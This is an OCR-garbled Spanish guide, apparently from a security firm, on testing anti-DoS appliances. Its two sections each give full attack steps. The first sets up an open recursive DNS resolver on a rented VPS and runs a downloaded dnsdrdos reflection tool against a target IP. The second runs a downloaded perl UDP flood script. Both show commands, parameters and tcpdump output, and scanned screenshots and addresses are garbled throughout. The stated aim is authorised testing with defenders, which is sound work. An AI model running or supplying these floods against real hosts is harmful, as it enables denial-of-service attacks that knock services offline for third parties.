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Descargo de responsabilidad

Todo el contenido de este documento es el resultado de investigacion con fines didacticos y
educativos. El autor no se hace responsable por el uso del conocimiento contenido en el siguiente
documento.

La informacién contenida debe ser utilizada tinicamente para fines éticos, todo descubrimiento
realizado en el documento, ha sido usado de forma legal y en entornos controlados.

SILCOM no es el autor directo de ninguno de los descubrimientos expuestos, ni de las herramientas
demostradas.



1. Introduccion

El objetivo del presente documento es proporcionar una guia practica para validar la seguridad que
brindan los dispositivos Anti-DOS, Asi mismo aprender a desarrollar los entornos la ejecucién de
pruebas controladas a este tipo de dispositivos desde la perspectiva de un Pentester / Red Teamer /
Blue Teamer.

El espiritu de las pruebas es trabajar colaborativamente el equipo de especialistas en ataques
“Pentesters”, con el equipo de defensa “Administradores de red, equipos de SOC, Blue Team”, es
decir el equipo que gestiona los eventos de la solucién Anti-DOS.

La misma representa una recopilacion de diversos ataques vigentes, los cuales han sido probados y
modificados tratando de aplicar una metodologia sencilla y que sobre todo provea un marco de
referencia para la evaluacion de seguridad en este tipo de dispositivos, es decir no estd enfocado a
un dispositivo en particular y puede estar enfocado a cualquier marca del mercado.

Acerca de ataques DOS.

Los ataques DOS (Denial-of-service attack) y/o ataques de negacion de servicio distribuido (DDoS)
hoy representan una gran preocupacion para las empresas ya que afectan directamente a la
disponibilidad y conectividad de los servicios que una empresa puede ofrecer, Asi mimos pueden
ser usados como fachada para cubrir otros tipos de ataques ( como el robo de informacion) en el
momento que estén sucediendo.

Dispositives Anti-DOS

El mayor problema de este tipo de ataques, es que los dispositivos tienen que tener la capacidad de
distinguir el trafico malicioso del trafico normal, ademas de identificar el trafico proveniente del
ataque con respecto al trafico real de los usuarios. Por este motivo existen diversos tipos de
soluciones para poder mitigar estos ataques, en primera instancia se podrian diferenciar en dos
tipos: soluciones “legacy” instaladas en infraestructura propia, y soluciones “cloud” que funcionan
como un servicio dentro de la nube del proveedor.
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2. Ataque por Amplificacion Reflexion DNS

2.1.- Arquitectura del ataque.

Funciona aprovechando un servicio DNS vulnerable a recursividad. A través de este protocolo, un
atacante envia consultas DNS a los servidores DNS vulnerables con el nombre de dominio con
destino hacia una direccion IP victima (no necesariamente relacionada con el dominio) luego el
servidor DNS refleja, envia y amplifica los paquetes no solicitados (resolucion) hacia la IP victima.

Arquitectura del ataque.

DNS Recursivo.

Una busqueda de DNS recursiva ocurre cuando un servidor DNS se comunica con varios otros
servidores DNS para buscar una direccion IP y devolverla al cliente. Permitir consultas DNS
recursivas contra servidores DNS abiertos crea una vulnerabilidad de seguridad.

2.2.- Configuracion del servidor atacante.

En este caso, usaremos un servidor con sistema operativo Linux con distribucion Debian, se
recomienda minimo 02 Cores con 2GB de memoria RAM y 4 Terabyte de ancho de banda.

Para ello se usara el proveedor en la nube vultr.com en donde seleccionamos el tipo de servidor y/o
VPS a desplegar de la siguiente forma:



Deploy New Instance

Choose Server

Optimized Cloud Compute Cloud GPU Bare Metal
Virtual machines for more demanding business apps, e.g. Virtual machines Virtual machines with fractional or full NVIDIA GPUS for single tenant bare metal for apps with the most
production ©1/CD, video transcoding, or larger low traffic webs Al machine learning, HPG, visual computing and VDI. demanding performance or security requirements,
databa Also available as Bare Metal.

. y taring NVIDIA GPU + Startng fron Physical CPU +
s28.00mo DR $2.50/mo $21.50/mo Dedicated vCPU $12000/mo Optional GPU
CPU & Storage Technology
& & / |
AMDZ1 High Performance intel High Performance intel. High Frequency
Powered by latest generation PYC CPUS P ns of Intel Xeon CPUs Powered by 36Hz+ Intel Xeon CPUs and NVMe PU:
NVMe SSD SD.

( E ) Debian M/@ Fedora Fedora Core0S Flatcar Container Linux
FreeBSD b OpenBSD Rocky Linux Ubuntu
[ LA ®
mE  windows Core Standard ml  Windows Standard
L] L]
Server Size
25 GB NVMe 50 GB NVMe 60 GB NVMe 100 GB NVMe
$6/month $12/month $18/month $24/month
$0.009/hou $0.018/h 0.027/ho 036/hour
1vCPU 1vCPU 2vCPUs 2vCPUs
16B Memory 2 GB Memory 2 GB Memory 4GB Memory
27TB Bandwidth 3 TB Bandwidth 4 TB Bandwidth 5TB Bandwidth

Nota: La ventaja de este tipo de servicio es que solo pagamos por el tiempo que lo usamos, luego es
posible eliminar la instancia que hemos creado.



A nivel de software se instalard el servicio DNS de la siguiente forma.

| apt-get install bind9

Luego configuraremos el servicio DNS con la opcién de recursividad* en el archivo “named.conf”
de la siguiente forma:

root@vultr:~/dnsdos# cat vim /etc/bind/named.conf.options
cat: vim: No such file or directory
options {

directory "/var/cache/bind";

recursion yes;

// If there is a firewall between you and nameservers you want
// to talk to, you may need to fix the firewall to allow multiple
// ports to talk. See http://www.kb.cert.org/vuls/id/800113

Luego sera necesario reiniciar el servicio DNS, verificar la configuracion y finalmente escanear el
servicio para verificar que existe la recursividad.

systemctl restart named
named-checkconf
nmap -sU -p 53 --script=dns-recursion 127.0.0.1

2.3.- Ejecucion del test de ataque.
Para realizar la prueba de concepto, vamos a usar una herramienta para ataques de reflexion de
DNS distribuido desarrollada por Noptrix ( https://www.majorsecurity.net/ )

Para lo cual previamente compilaremos la herramienta de la siguiente forma :

mkdir dnsdos ; cd dnsdos

wget https://raw.githubusercontent.com/rodarima/lsi/master/p2/dnsdrdes.c
gcc dnsdrdos.c -0 dnsdrdos.o -Wall -ansi

Como resultado tendremos el binario llamado “dnsdrdes.o”

Ahora sera necesario configurar el servidor DNS que se utilizara para reflejar la peticién, el cual
sera la misma direccién IP de la maquina local.

vim nameserver.lst
IPLOCAL

4
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Finalmente iniciamos la prueba de concepto:

root@vultr:~/dnsdos#
root@vultr:~/dnsdos#
root@vultr:~/dnsdos# ./dnsdrdos.o -f nameserver.lst -s 191.¢ ' -d google.com. -1 20000000000000000

Parametros del programa:

-s: Direccién IP a la cual amplifica el ataque.
-d: Dominio al cual se refleja el ataque.
-1: Cantidad de paquetes bytes enviados.

2.4.- Respuesta del dispositivo Anti-DOS
Una vez en ejecucion el ataque, es necesario analizar el trafico enviado y verificar que el dispositivo
de proteccion ha reaccionado.

En el equipo atacante es posible verificar el envio de los paquetes usando la herramienta “tcpdump”
en donde se podra visualizar que los paquetes estan siendo rechazados ( el comportamiento ideal)
por el dispositivo de proteccién, como se muestra a continuacion :

root@vultr:~#
root@vultr:~# tcpdump -i enpls® dst host 191.
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on enpls®, link-type EN10MB (Ethernet), snapshot length 262144 bytes
:43:22.920812 IP 216.238.113.0.vultrusercontent.com.domain > 191. .9158: 1132 Refused- 0/0/0 (28)
143:22.922140 IP 216.238.113.0.vultrusercontent.com.domain > 191. .18547: 1132 Refused- ©/0/0 (28)
:43:22.922411 IP 216.238.113.0.vultrusercontent.com.domain > 191. .23807: 1132 Refused- ©/0/0 (28)
:43:22.922631 IP 216.238.113.0.vultrusercontent.com.domain > 191. .22764: 1132 Refused- 0/0/0 (28)
:43:22.922856 IP 216.238.113.0.vultrusercontent.com.domain 191. ,31949: 1132 Refused- 0/0/0 (28)
:43:22.923063 IP 216.238.113.0.vultrusercontent.com.domain 191. ,55211: 1132 Refused- 0/0/0 (28)
:43:22.923260 IP 216.238.113.0.vultrusercontent.com.domain 191. .7931: 1132 Refused- 0/0/0 (28)
:43:22.923480 IP 216.238.113.0.vultrusercontent.com.domain > 191. |5 : 1132 Refused- 0/0/0 (28)
143:22.923676 IP 216.238.113.0.vultrusercontent.com.domain > 191. .25282: 1132 Refused- ©/0/0 (28)
:43:22.923857 IP 216.238.113.0.vultrusercontent.com.domain > 191. .10232: 1132 Refused- ©/0/0 (28)
:43:22.924071 IP 216.238.113.0.vultrusercontent.com.domain > 191. .59880: 1132 Refused- 0/0/0 (28)
:43:22.924269 IP 216.238.113.0.vultrusercontent.com.domain 191. ,17293: 1132 Refused- 0/0/0 (28)
:43:22.924480 IP 216.238.113.0.vultrusercontent.com.domain 191. .9562: 1132 Refused- 0/0/0 (28)
:43:22.924699 IP 216.238.113.0.vultrusercontent.com.domain 191. ,29283: 1132 Refused- 0/0/0 (28)
:43:22.924912 IP 216.238.113.0.vultrusercontent.com.domain > 191. .55199: 1132 Refused- ©/0/0 (28)
143:22.925116 IP 216.238.113.0.vultrusercontent.com.domain > 191. .1946: 1132 Refused- 0/0/0 (28)
:43:22.925342 IP 216.238.113.0.vultrusercontent.com.domain > 191. .23858: 1132 Refused- 0/0/0 (28)
:43:22.925533 IP 216.238.113.0.vultrusercontent.com.domain > 191. .55223: 1132 Refused- 0/0/0 (28)
:43:22.925718 IP 216.238.113.0.vultrusercontent.com.domain 191. ,58456: 1132 Refused- 0/0/0 (28)
:43:22.925967 IP 216.238.113.0.vultrusercontent.com.domain 191. .55642: 1132 Refused- 0/0/0 (28)
:43:22.926153 IP 216.238.113.0.vultrusercontent.com.domain 191. .35165: 1132 Refused- 0/0/0 (28)
143:22.926370 IP 216.238.113.0.vultrusercontent.com.domain > 191. .41751: 1132 Refused- ©/0/0 (28)
:43:22.926586 IP 216.238.113.0.vultrusercontent.com.domain > 191. .23273: 1132 Refused- ©/0/0 (28)
:43:22.926773 IP 216.238.113.0.vultrusercontent.com.domain > 191. .43220: 1132 Refused- 0/0/0 (28)
:43:22.926972 IP 216.238.113.0.vultrusercontent.com.domain 191. ,36018: 1132 Refused- 0/0/0 (28)
:43:22.927174 IP 216.238.113.0.vultrusercontent.com.domain 191. ,57542: 1132 Refused- 0/0/0 (28)
:43:22.927376 IP 216.238.113.0.vultrusercontent.com.domain 191. .40628: 1132 Refused- 0/0/0 (28)
:43:22.927569 IP 216.238.113.0.vultrusercontent.com.domain 191. .34321: 1132 Refused- 0/0/0 (28)
143:22.927758 IP 216.238.113.0.vultrusercontent.com.domain > 191. .7554: 1132 Refused- 0/0/0 (28)
:43:22.927949 IP 216.238.113.0 191. .34369: 1132 Refused- ©/0/0 (28)
:43:22.928126 IP 216.238.113.0 191. .48445: 1132 Refused- 0/0/0 (28)
143:22.928340 IP 216.238.113.0 191. .61575: 1132 Refused- ©/0/0 (28)
:43:22.928522 IP 216.238.113.0 191. .56809: 1132 Refused- 0/0/0 (28)

.vultrusercontent.com.domain
.vultrusercontent.com.domain
.vultrusercontent.com.domain
.vultrusercontent.com.domain

VVVVVVYYVVVVVVYVVVVVVVYVVVVVVVVVVYV

Como se puede apreciar, el dispositivo de defensa esta rechazando los paquetes enviados.

Nota: Un detalle importante a tener en cuenta es que va depender mucho del proveedor cloud, si
este va permitir la salida de este tipo de trafico.



De esta forma concluye esta prueba.

3. Ataques volumétricos.

3.1.- Arquitectura del ataque.

Un ataque volumétrico funciona enviando una cantidad indiscriminada de paquetes de tipo UDP
con el objetivo de saturar el ancho de banda del enlace y la capacidad de procesamiento de la
infraestructura que se protege.

UDP flood

Funcionamiento

Puerto: 49152

(A) Ataca ”te/‘\ (V) Victima

192.0.2.7 If;";‘ Puerto: 49184 SIS|S @Puerm: 49152y

Puerto: 49166

3.2.- Configuracion del servidor atacante.

En este tipo de prueba no es necesario la configuracion de algin tipo de servicio en especial,
seguiremos usando la maquina con distribuciéon Linux Debian, se recomienda minimo 04 CPU con
8GB de memoria RAM y 6 Terabyte de ancho de banda.

Para ello se usara el proveedor en la nube vultr.com en donde seleccionamos el tipo de servidor y/o

VPS a desplegar de la siguiente forma:

Deploy New Instance

Optimized Cloud Compute Cloud Compute Cloud GPU Bare Metal

h bur

or full NVIDIA GPUS for Single tenant bare met

Virtual machines for m o
ction webs ing and VD! demanding performance or

Virtual mac
production websi o

i NVIDIA GPU+ Physical CPU +
$28.00/mo $2.50/mo. Shared vCPU $21.50/mo Dedicated vCPU $120.00/mo Optional GPU
Server Type ‘(
" 2 S B ® @
@ General Purpose '/ CPU Optimized @ Memory Optimized % Storage Optimized )



Ahora seleccionamos el tipo de sistema operativo y las capacidades del VPS.

~~ N

( E ) Debian @ Fedora o Fedora Core0S J.Eﬂi Flatcar Container Linux
' FreeBSD OpenBSD o Rocky Linux @ Ubuntu
ml  windows Core Standard ml  windows Standard
. Ll
Server Size \
25 GB NVMe 50 GB NVMe 75 GB NVMe 75 GB NVMe

$28/month $40/month $45/month $80/month
1vCPU 2 vCPUs 2VvCPUs 4vCPUs

26B Memory 4GB Memory 468 Memory 868 Memory
478 Bandwidth 57TB Bandwidih 578 Bandwidth 6 TB Bandwidth

Nota: La ventaja de este tipo de servicio es que solo pagamos por el tiempo que lo usamos, luego es
posible eliminar la instancia que hemos creado.
3.3.- Ejecucion del test de ataque.

Para realizar la prueba de concepto, vamos a usar un script escrito en lenguaje de programacion
“perl” el cual genera un envio de inundacién de paquetes UDP.

Para lo cual previamente descargaremos el script de la siguiente forma:

mkdir dnsdos ; cd dnsdos
wget https://github.com/th3gundy/DDoS-Scripts/blob/master/flood.pl

Nota importante es que en funcion a la distribucion de Linux usada sera necesario instalar alguna
dependencia relacionada con perl como es en este caso.

vpsnedl:~#

vpsnedl:~# ./udp-vol.pl 191. 0 9999 0
Flooding 191. random port with 9999-byte packets
Break with Ctrl-C

Parametros del ataque

Direccion IP a la cual se enviara el ataque: 191 XXX.XXX. XXX
Configuracion de puertos aleatorios de envio: 0

Cantidad de paquetes enviados por sondas: 9999
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Ejecucién de tiempo indeterminado del envio de sondas: 0

3.4.- Respuesta del dispositivo Anti-DOS
Para lograr analizar el trafico enviado y verificar que el dispositivo de proteccion ha reaccionado y
esta rechazando los paquetes, usaremos “tcpdump” como se muestra a continuacion :

@vpsnedl:~#
@vpsnedl:~# tcpdump -i enpls® dst host 191.¢
cpdump: verbose output suppressed, use -v[v]... for full protocol decode
Listening on enpls@, link-type EN1GMB (Ethernet), snapshot length 262144 bytes
:04:53.670918 .76.37.2.vultrusercontent.com.42031 > 191.¢ .12762: length 9999
.670927 .vultrusercontent.com > 191.¢ : udp
.670928 .vultrusercontent.com > 191.\ : udp
.670942 .vultrusercontent.com > 191.} : udp
.670943 .vultrusercontent.com > 191.1 : udp
.670959 .vultrusercontent.com 191.¢ ;
.670964 .vultrusercontent.com > 191.| ]
.670998 .vultrusercontent.com.42031 : length 9999
.671010 .vultrusercontent.com > 191. ]
.vultrusercontent.com 191.
.vultrusercontent.com > 191.
.vultrusercontent.com 191.
.vultrusercontent.com > 191.
.vultrusercontent.com 191. :
.vultrusercontent.com.42031 . 1.65336: , length 9999
.vultrusercontent.com > 191. ]
.vultrusercontent.com 191.
.vultrusercontent.com > 191.
.vultrusercontent.com 191.
.vultrusercontent.com > 191.
.vultrusercontent.com 191. :
.vultrusercontent.com.42031 . ] , length 9999
.vultrusercontent.com 191. :
.vultrusercontent.com > 191.
.vultrusercontent.com 191.
.vultrusercontent.com > 191.
.vultrusercontent.com 191.
.vultrusercontent.com > 191. ]
.vultrusercontent.com.42031 . ] , length 9999
.671187 .vultrusercontent. > 191. :
.671188 .vultrusercontent. > 191.

.671011
.671012
.671021
.671029
.671049
.671063
.671067
.671075
.671075
.671076
.671083
.671084
.671118
.671123
.671124
.671132
.671132
.671140
.671143
.671173

>
>
>
>
>
>

2
2
2
2
2
2
2
2
2
2
2
2
2
2
o
22
2
2
2
2
2
2
2
2
2
2
2
2
2
2

.826630 .76.37.2.vultrusercontent. > 191.

.826631 .76.37.2.vultrusercontent. > 191.

.826632 .76.37.2.vultrusercontent. > 191,

.826633 .76.37.2.vultrusercontent. > 191!

.826634 .76.37.2.vultrusercontent. > 191 ] p

.826644 .76.37.2.vultrusercontent. .42031 .32933: UDP, length 9999
.826645 .76.37.2.vultrusercontent. > 191. ]

.826646 .76.37.2.vultrusercontent. > 191.

.826647 .76.37.2.vultrusercontent. =100

.826647 .76.37.2.vultrusercontent. 2o sl

.826648 .76.37.2.vultrusercontent. > 191.

.826649 .76.37.2.vultrusercontent. > 191. :

.826657 .76.37.2.vultrusercontent. .42031 > 191. .61599: UDP, length 9999

1795076 packets captured
7853636 packets received by filter
6057335 packets dropped by kernel
@vpsnedl:~#

~#

~#

~#

et

B




Ancho de banda enviado.

iptraf-ng 1.2.1

enpls®
1o

Monthly Bandwidth
Usage: 0 GB (0%)

Inbound: 0GB
Outbound: 0GB

Last 30 Days

292.97 KB

244,14 KB

195.31 KB

Apr 22 Apr 25 Apr 28 May 01 May 04

May 10 May 13 May 16 May 19
M| Bytes received

Nota: Un detalle importante a tener en cuenta es que va depender mucho del proveedor cloud, si
este va permitir la salida de este tipo de trafico.

De esta forma concluye esta prueba.
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